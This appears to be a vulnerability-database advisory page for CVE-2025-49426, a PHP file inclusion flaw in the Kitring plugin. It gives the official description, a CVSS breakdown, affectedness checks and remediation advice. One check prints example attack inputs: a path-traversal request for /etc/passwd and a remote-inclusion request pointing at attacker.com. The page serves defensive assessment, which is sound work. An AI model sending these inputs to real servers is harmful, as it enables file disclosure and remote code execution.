CVE-2025-49426
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Dahz Kitring kitring allows PHP Local File Inclusion.This issue affects Kitring: from n/a through <= 2.8.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · moderate confidenceImproper input validation in the Kitring plugin allows attackers to manipulate file path parameters in PHP include/require statements, enabling both Remote File Inclusion (RFI) and Local File Inclusion (LFI). This can lead to arbitrary code execution by including malicious remote PHP files or accessing sensitive local files on the server.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- High
- Privileges
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
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Identify Kitring plugin installationSearch the web server file system for the Kitring plugin directory (common paths: /wp-content/plugins/kitring/, /plugins/kitring/, or similar). Check CMS-specific plugin listings if this is a WordPress or other CMS plugin.Affected if The Kitring plugin directory exists on the server and contains PHP files with include/require statements that accept user input.
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Locate vulnerable file inclusion codeSearch within the Kitring plugin files for patterns like 'include($_', 'require($_', 'include_once($_', 'require_once($_' where the input is directly passed from request parameters (e.g., $_GET, $_POST, $_REQUEST) without sanitization.Affected if PHP files contain direct use of include/require with unsanitized request variables as the path argument.
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Inspect PHP configuration for RFI protectionCheck php.ini or run 'php -i' to inspect the 'allow_url_include' setting. If the server has allow_url_include = On, remote file inclusion is possible.Affected if allow_url_include is enabled (On) and the vulnerable code path is reachable.
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Check for parameter tampering in HTTP requestsTest the affected endpoints by reviewing HTTP access logs or manually crafting requests with modified path parameters (e.g., ?file=../../../../etc/passwd or ?file=http://attacker.com/malicious.php).Affected if The application accepts and processes arbitrary file paths in the request parameters without rejecting them.
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Review recent file system changesExamine the web root for newly created PHP files with suspicious names (e.g., shell.php, cmd.php, x.php) or recently modified existing PHP files that were not part of the original plugin.Affected if Unknown or unexpected PHP files exist in the web directory, indicating possible successful exploitation.
A user is affected if the Kitring plugin is installed, contains PHP code that uses include/require with unsanitized request parameters, and the vulnerable endpoints are accessible (regardless of allow_url_include setting, as LFI is still possible).
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataImplement strict input validation using allowlists for permitted files, disable allow_url_include in PHP configuration, and sanitize all file path parameters before use in include/require statements. Update to a patched version when available.
- Consultation4.0 h
- Implementation8.0 h
- Testing4.0 h
- Review / QA3.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $5,408.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2025-49426 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2025-49426 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
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- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
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